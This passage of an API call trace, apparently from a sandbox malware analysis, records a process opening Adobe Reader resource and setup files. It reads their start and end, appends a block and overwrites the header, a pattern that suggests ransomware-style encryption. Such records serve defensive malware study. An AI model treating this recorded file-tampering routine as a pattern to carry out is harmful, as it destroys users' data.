[0046.449] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7ffe [0046.449] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.449] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.450] ReleaseMutex (hMutex=0x128) returned 1 [0046.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spn32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spn32.clx", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spn32.clx", lpUsedDefaultChar=0x0) returned 9 [0046.450] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.454] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6ffe [0046.455] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.459] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6ffe [0046.460] WriteFile (in: hFile=0x168, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.463] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.463] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.463] CloseHandle (hObject=0x168) returned 1 [0046.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\tur32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\tur32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.463] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.463] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7ffc [0046.463] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.463] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.463] ReleaseMutex (hMutex=0x128) returned 1 [0046.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tur32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tur32.clx", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tur32.clx", lpUsedDefaultChar=0x0) returned 9 [0046.464] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.466] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6ffc [0046.466] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.470] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6ffc [0046.470] WriteFile (in: hFile=0x168, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.471] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.471] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.471] CloseHandle (hObject=0x168) returned 1 [0046.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.471] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.471] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x19ea7 [0046.471] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.472] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.472] ReleaseMutex (hMutex=0x128) returned 1 [0046.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JISX0208.txt", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JISX0208.txt", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JISX0208.txt", lpUsedDefaultChar=0x0) returned 12 [0046.472] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.474] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x18ea7 [0046.474] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.478] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x18ea7 [0046.478] WriteFile (in: hFile=0x168, lpBuffer=0x1db0538*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0538*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.479] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.479] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.479] CloseHandle (hObject=0x168) returned 1 [0046.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.479] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.480] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3478 [0046.480] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.480] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.480] ReleaseMutex (hMutex=0x128) returned 1 [0046.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CYRILLIC.TXT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CYRILLIC.TXT", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CYRILLIC.TXT", lpUsedDefaultChar=0x0) returned 12 [0046.480] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.481] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2478 [0046.481] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.482] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2478 [0046.482] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.482] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.482] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.482] CloseHandle (hObject=0x168) returned 1 [0046.482] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\THAI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\thai.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.483] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.483] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3bc5 [0046.483] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.483] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.483] ReleaseMutex (hMutex=0x128) returned 1 [0046.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="THAI.TXT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0046.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="THAI.TXT", cchWideChar=8, lpMultiByteStr=0x1e630cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="THAI.TXT", lpUsedDefaultChar=0x0) returned 8 [0046.483] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.516] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2bc5 [0046.516] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.566] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2bc5 [0046.566] WriteFile (in: hFile=0x168, lpBuffer=0x1db0438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0438*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.567] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.567] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.567] CloseHandle (hObject=0x168) returned 1 [0046.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.567] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.568] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x252c [0046.568] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0046.568] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.568] ReleaseMutex (hMutex=0x128) returned 1 [0046.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1257.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1257.TXT", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP1257.TXT", lpUsedDefaultChar=0x0) returned 10 [0046.568] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.571] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x152c [0046.571] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.586] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x152c [0046.586] WriteFile (in: hFile=0x168, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.586] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0046.586] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.586] CloseHandle (hObject=0x168) returned 1 [0046.799] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1030.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1030.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1030.mst", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1030.mst", lpFilePart=0x2e0f690*="1030.mst") returned 0x64 [0046.799] GetLastError () returned 0x5 [0046.799] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸qˠ폈Hˠ퐔HˠLˠꢠǦ\x01") returned 0x13 [0046.799] LocalFree (hMem=0x71aff8) returned 0x0 [0046.799] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.799] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0046.800] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0046.800] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0046.800] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1030.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1030.mst")) returned 0x21 [0046.800] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1043.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1043.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.800] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1043.mst", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1043.mst", lpFilePart=0x2e0f690*="1043.mst") returned 0x64 [0046.800] GetLastError () returned 0x5 [0046.800] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸qˠ폈Hˠ퐔HˠLˠꢠǦ\x01") returned 0x13 [0046.800] LocalFree (hMem=0x71aff8) returned 0x0 [0046.800] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.800] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0046.801] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0046.801] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0046.801] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1043.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1043.mst")) returned 0x21 [0046.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1058.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1058.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.801] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1058.mst", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1058.mst", lpFilePart=0x2e0f690*="1058.mst") returned 0x64 [0046.801] GetLastError () returned 0x5 [0046.801] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸qˠ폈Hˠ퐔HˠLˠꢠǦ\x01") returned 0x13 [0046.801] LocalFree (hMem=0x71aff8) returned 0x0 [0046.801] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.801] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0046.801] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0046.802] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0046.802] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1058.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1058.mst")) returned 0x21 [0046.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 